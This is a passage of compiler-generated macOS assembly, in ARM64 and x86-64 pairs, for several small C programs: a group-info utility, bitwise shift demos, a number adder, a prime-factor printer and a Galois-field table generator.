callq _fprintf
cmpl $0, -4(%rbp)
je LBB2_2
## %bb.1:
movl -4(%rbp), %edi
callq _exit
LBB2_2:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.15(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl -4(%rbp), %edi
callq _exit
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function is_on
_is_on: ## @is_on
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movb %sil, %al
movl %edi, -4(%rbp)
movb %al, -5(%rbp)
movl -4(%rbp), %eax
movsbl -5(%rbp), %ecx
subl $97, %ecx
movl $1, %edx
## kill: def $cl killed $ecx
shll %cl, %edx
movl %edx, %ecx
andl %ecx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz ":hFNgmnpqt:"
L_.str.1: ## @.str.1
.asciz "%s: invalid option -- '%c'\n"
L_.str.2: ## @.str.2
.asciz "gid value is %s: %s"
L_.str.3: ## @.str.3
.asciz "uid value is %s: %s"
L_.str.4: ## @.str.4
.asciz "%s: no such group"
L_.str.5: ## @.str.5
.asciz "%s: no such user"
L_.str.6: ## @.str.6
.asciz "%s%s\n"
L_.str.7: ## @.str.7
.asciz "name="
L_.str.8: ## @.str.8
.space 1
L_.str.9: ## @.str.9
.asciz "passwd="
L_.str.10: ## @.str.10
.asciz "%s%d\n"
L_.str.11: ## @.str.11
.asciz "gid="
L_.str.12: ## @.str.12
.asciz "members=%d\n"
L_.str.13: ## @.str.13
.asciz "member_%d=%s\n"
L_.str.14: ## @.str.14
.asciz "usage: getgrent -h\nusage: getgrent [-Nq] -t USER GROUP\nusage: getgrent [-FNgmnpq] GROUP\n"
L_.str.15: ## @.str.15
.asciz "\nDisplay group(5) info for a group\n\n Options:\n -h Display this message\n -F Omit field names from output\n -N GROUP and USER are group and user ids, not names\n -g Display group id\n -m Display group members\n -n Display group name\n -q No error message for nonexistent GROUP or USER\n -t USER Test whether USER in is GROUP\n Operands:\n GROUP Display information for group GROUP\n"
.subsections_via_symbols
| the_stack_data/225142402.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
stur w8, [x29, #-12] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w8, #8
stur w8, [x29, #-8]
ldur w8, [x29, #-8]
lsl w10, w8, #2
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur w8, [x29, #-8]
asr w10, w8, #2
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov x9, sp
mov x8, #4
str x8, [sp, #8] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
mov x9, sp
mov x8, #7
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
ldur w0, [x29, #-12] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Result of left shift, << by 2: %d\n"
l_.str.1: ; @.str.1
.asciz "Result of right shift, >> by 2: %d\n"
l_.str.2: ; @.str.2
.asciz "Result of bitwise and, & by 2: %d\n"
l_.str.3: ; @.str.3
.asciz "Result of bitwise xor, ^ by 2: %d\n"
l_.str.4: ; @.str.4
.asciz "Result of left or, | by 2: %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $8, -8(%rbp)
movl -8(%rbp), %esi
shll $2, %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -8(%rbp), %esi
sarl $2, %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
movl $4, %esi
movb $0, %al
callq _printf
leaq L_.str.3(%rip), %rdi
movl $4, %esi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
movl $7, %esi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Result of left shift, << by 2: %d\n"
L_.str.1: ## @.str.1
.asciz "Result of right shift, >> by 2: %d\n"
L_.str.2: ## @.str.2
.asciz "Result of bitwise and, & by 2: %d\n"
L_.str.3: ## @.str.3
.asciz "Result of bitwise xor, ^ by 2: %d\n"
L_.str.4: ## @.str.4
.asciz "Result of left or, | by 2: %d\n"
.subsections_via_symbols
| the_stack_data/198580880.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
sub x8, x29, #12
str x8, [x9, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
str wzr, [sp, #16]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #16]
mov w9, #16960
movk w9, #15, lsl #16
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_4
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
ldrsw x10, [sp, #16]
adrp x9, _c@GOTPAGE
ldr x9, [x9, _c@GOTPAGEOFF]
str w8, [x9, x10, lsl #2]
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_1
LBB0_4:
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
add w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d%d"
.comm _c,40000000,2 ; @c
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
leaq -12(%rbp), %rdx
movb $0, %al
callq _scanf
movl $0, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
cmpl $1000000, -16(%rbp) ## imm = 0xF4240
jge LBB0_4
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %edx
movslq -16(%rbp), %rcx
movq _c@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
addl $1, %eax
movl %eax, -16(%rbp)
jmp LBB0_1
LBB0_4:
movl -8(%rbp), %esi
addl -12(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d%d"
.comm _c,40000000,4 ## @c
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/55441.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.comm _zcr_dummy,4,2 ; @zcr_dummy
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.comm _zcr_dummy,4,2 ## @zcr_dummy
.subsections_via_symbols
| the_stack_data/218893113.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _print_prime_factors ; -- Begin function print_prime_factors
.p2align 2
_print_prime_factors: ; @print_prime_factors
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str xzr, [sp, #16]
ldur x8, [x29, #-8]
str x8, [sp, #8]
ldur x8, [x29, #-8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x8, #2
str x8, [sp, #16]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #16]
ldr x9, [sp, #8]
subs x8, x8, x9
cset w8, hi
tbnz w8, #0, LBB0_10
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #8]
ldr x10, [sp, #16]
udiv x9, x8, x10
mul x9, x9, x10
subs x8, x8, x9
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #8]
ldr x9, [sp, #16]
udiv x8, x8, x9
str x8, [sp, #8]
ldr x8, [sp, #16]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
mov x8, #1
str x8, [sp, #16]
b LBB0_8
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #8]
subs x8, x8, #2
cset w8, lo
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
b LBB0_10
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB0_1
LBB0_10:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #8] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov x0, #77
bl _print_prime_factors
mov x0, #84
bl _print_prime_factors
mov x0, #281479271743489
movk x0, #10381
movk x0, #34464, lsl #32
bl _print_prime_factors
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%ju : "
l_.str.1: ; @.str.1
.asciz "%ju "
l_.str.2: ; @.str.2
.asciz "\r\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _print_prime_factors ## -- Begin function print_prime_factors
.p2align 4, 0x90
_print_prime_factors: ## @print_prime_factors
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq $0, -16(%rbp)
movq -8(%rbp), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq $2, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
cmpq -24(%rbp), %rax
ja LBB0_10
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movq -24(%rbp), %rax
xorl %ecx, %ecx
movl %ecx, %edx
divq -16(%rbp)
cmpq $0, %rdx
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movq -24(%rbp), %rax
xorl %ecx, %ecx
movl %ecx, %edx
divq -16(%rbp)
movq %rax, -24(%rbp)
movq -16(%rbp), %rsi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
movq $1, -16(%rbp)
jmp LBB0_8
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
cmpq $2, -24(%rbp)
jb LBB0_6
## %bb.5: ## in Loop: Header=BB0_1 Depth=1
movq -24(%rbp), %rax
cmpq -8(%rbp), %rax
jbe LBB0_7
LBB0_6:
jmp LBB0_10
LBB0_7: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_8
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
movq -16(%rbp), %rax
addq $1, %rax
movq %rax, -16(%rbp)
jmp LBB0_1
LBB0_10:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $77, %edi
callq _print_prime_factors
movl $84, %edi
callq _print_prime_factors
movabsq $429496729675917, %rdi ## imm = 0x186A00001288D
callq _print_prime_factors
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%ju : "
L_.str.1: ## @.str.1
.asciz "%ju "
L_.str.2: ## @.str.2
.asciz "\r\n"
.subsections_via_symbols
| the_stack_data/12637371.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #576
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #52]
str w0, [sp, #48]
str x1, [sp, #40]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
str wzr, [sp, #36]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_5 Depth 3
ldr w8, [sp, #36]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
str wzr, [sp, #32]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_5 Depth 3
ldr w8, [sp, #32]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB0_10
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
str wzr, [sp, #28]
b LBB0_5
LBB0_5: ; Parent Loop BB0_1 Depth=1
; Parent Loop BB0_3 Depth=2
; => This Inner Loop Header: Depth=3
ldr w8, [sp, #28]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=3
ldr w9, [sp, #36]
ldr w8, [sp, #32]
ldr w10, [sp, #28]
add w8, w8, w10
and w0, w9, #0xff
and w1, w8, #0xff
bl _gfmul
ldr w8, [sp, #28]
subs w8, w8, #7
cset w8, eq
and w10, w8, #0x1
mov w9, #32
mov w8, #10
ands w10, w10, #0x1
csel w10, w8, w9, ne
mov x9, sp
; implicit-def: $x8
mov x8, x0
and x8, x8, #0xff
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=3
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_5
LBB0_8: ; in Loop: Header=BB0_3 Depth=2
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #32]
add w8, w8, #8
str w8, [sp, #32]
b LBB0_3
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB0_1
LBB0_12:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
mov w8, #1
strb w8, [sp, #27]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
str wzr, [sp, #36]
b LBB0_13
LBB0_13: ; =>This Loop Header: Depth=1
; Child Loop BB0_15 Depth 2
ldr w8, [sp, #36]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB0_22
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_13 Depth=1
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
str wzr, [sp, #32]
b LBB0_15
LBB0_15: ; Parent Loop BB0_13 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #32]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_20
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_15 Depth=2
ldrb w8, [sp, #27]
ldr w9, [sp, #36]
ldr w10, [sp, #32]
add w10, w9, w10
add x9, sp, #312
add x9, x9, w10, sxtw
strb w8, [x9]
ldrb w11, [sp, #27]
ldr w8, [sp, #32]
subs w8, w8, #7
cset w8, eq
and w10, w8, #0x1
mov w9, #32
mov w8, #10
ands w10, w10, #0x1
csel w10, w8, w9, ne
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldrb w0, [sp, #27]
mov w1, #2
bl _gfmul
strb w0, [sp, #27]
ldrb w8, [sp, #27]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB0_18
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_15 Depth=2
strb wzr, [sp, #27]
b LBB0_18
LBB0_18: ; in Loop: Header=BB0_15 Depth=2
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_15 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_15
LBB0_20: ; in Loop: Header=BB0_13 Depth=1
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_13 Depth=1
ldr w8, [sp, #36]
add w8, w8, #8
str w8, [sp, #36]
b LBB0_13
LBB0_22:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
adrp x0, l_.str.13@PAGE
add x0, x0, l_.str.13@PAGEOFF
bl _printf
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
adrp x0, l_.str.14@PAGE
add x0, x0, l_.str.14@PAGEOFF
bl _printf
str wzr, [sp, #36]
b LBB0_23
LBB0_23: ; =>This Loop Header: Depth=1
; Child Loop BB0_25 Depth 2
ldr w8, [sp, #36]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB0_30
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_23 Depth=1
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
str wzr, [sp, #32]
b LBB0_25
LBB0_25: ; Parent Loop BB0_23 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #32]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_28
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_25 Depth=2
ldr w8, [sp, #36]
ldr w9, [sp, #32]
add w8, w8, w9
and w0, w8, #0xff
mov w1, #254
bl _gfpow
strb w0, [sp, #27]
ldr w8, [sp, #36]
ldr w9, [sp, #32]
add w9, w8, w9
add x8, sp, #56
strb w0, [x8, w9, sxtw]
ldrb w11, [sp, #27]
ldr w8, [sp, #32]
subs w8, w8, #7
cset w8, eq
and w10, w8, #0x1
mov w9, #32
mov w8, #10
ands w10, w10, #0x1
csel w10, w8, w9, ne
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_27
LBB0_27: ; in Loop: Header=BB0_25 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_25
LBB0_28: ; in Loop: Header=BB0_23 Depth=1
b LBB0_29
LBB0_29: ; in Loop: Header=BB0_23 Depth=1
ldr w8, [sp, #36]
add w8, w8, #8
str w8, [sp, #36]
b LBB0_23
LBB0_30:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
bl _printf
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
adrp x0, l_.str.16@PAGE
add x0, x0, l_.str.16@PAGEOFF
bl _printf
str wzr, [sp, #36]
b LBB0_31
LBB0_31: ; =>This Loop Header: Depth=1
; Child Loop BB0_33 Depth 2
ldr w8, [sp, #36]
subs w8, w8, #256
cset w8, ge
tbnz w8, #0, LBB0_38
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_31 Depth=1
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
str wzr, [sp, #32]
b LBB0_33
LBB0_33: ; Parent Loop BB0_31 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #32]
subs w8, w8, #8
cset w8, ge
tbnz w8, #0, LBB0_36
b LBB0_34
LBB0_34: ; in Loop: Header=BB0_33 Depth=2
ldr w8, [sp, #36]
ldr w9, [sp, #32]
add w9, w8, w9
add x8, sp, #312
ldrb w8, [x8, w9, sxtw]
eor w9, w8, #0x1
add x8, sp, #56
ldrb w11, [x8, w9, sxtw]
ldr w8, [sp, #32]
subs w8, w8, #7
cset w8, eq
and w10, w8, #0x1
mov w9, #32
mov w8, #10
ands w10, w10, #0x1
csel w10, w8, w9, ne
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_33 Depth=2
ldr w8, [sp, #32]
add w8, w8, #1
str w8, [sp, #32]
b LBB0_33
LBB0_36: ; in Loop: Header=BB0_31 Depth=1
b LBB0_37
LBB0_37: ; in Loop: Header=BB0_31 Depth=1
ldr w8, [sp, #36]
add w8, w8, #8
str w8, [sp, #36]
b LBB0_31
LBB0_38:
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
adrp x0, l_.str.17@PAGE
add x0, x0, l_.str.17@PAGEOFF
bl _printf
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_40
b LBB0_39
LBB0_39:
bl ___stack_chk_fail
LBB0_40:
mov w0, #0
add sp, sp, #576
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function gfmul
_gfmul: ; @gfmul
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
strb w0, [sp, #15]
strb w1, [sp, #14]
strb wzr, [sp, #13]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldrb w8, [sp, #14]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldrb w8, [sp, #14]
ands w8, w8, #0x1
cset w8, eq
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldrb w9, [sp, #15]
ldrb w8, [sp, #13]
eor w8, w8, w9
strb w8, [sp, #13]
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
ldrb w9, [sp, #15]
ldrb w8, [sp, #15]
mov w10, #0
ands w8, w8, #0x80
cset w8, ne
and w11, w8, #0x1
mov w8, #29
ands w11, w11, #0x1
csel w8, w8, w10, ne
eor w8, w8, w9, lsl #1
strb w8, [sp, #15]
ldrb w8, [sp, #14]
asr w8, w8, #1
strb w8, [sp, #14]
b LBB1_1
LBB1_5:
ldrb w0, [sp, #13]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function gfpow
_gfpow: ; @gfpow
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
sturb w0, [x29, #-1]
str w1, [sp, #8]
mov w8, #1
strb w8, [sp, #7]
ldr w8, [sp, #8]
mov w10, #255
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
str w8, [sp, #8]
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
ldr w8, [sp, #8]
add w8, w8, #255
str w8, [sp, #8]
b LBB2_2
LBB2_2:
b LBB2_3
LBB2_3: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_7
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_3 Depth=1
ldr w8, [sp, #8]
ands w8, w8, #0x1
cset w8, eq
tbnz w8, #0, LBB2_6
b LBB2_5
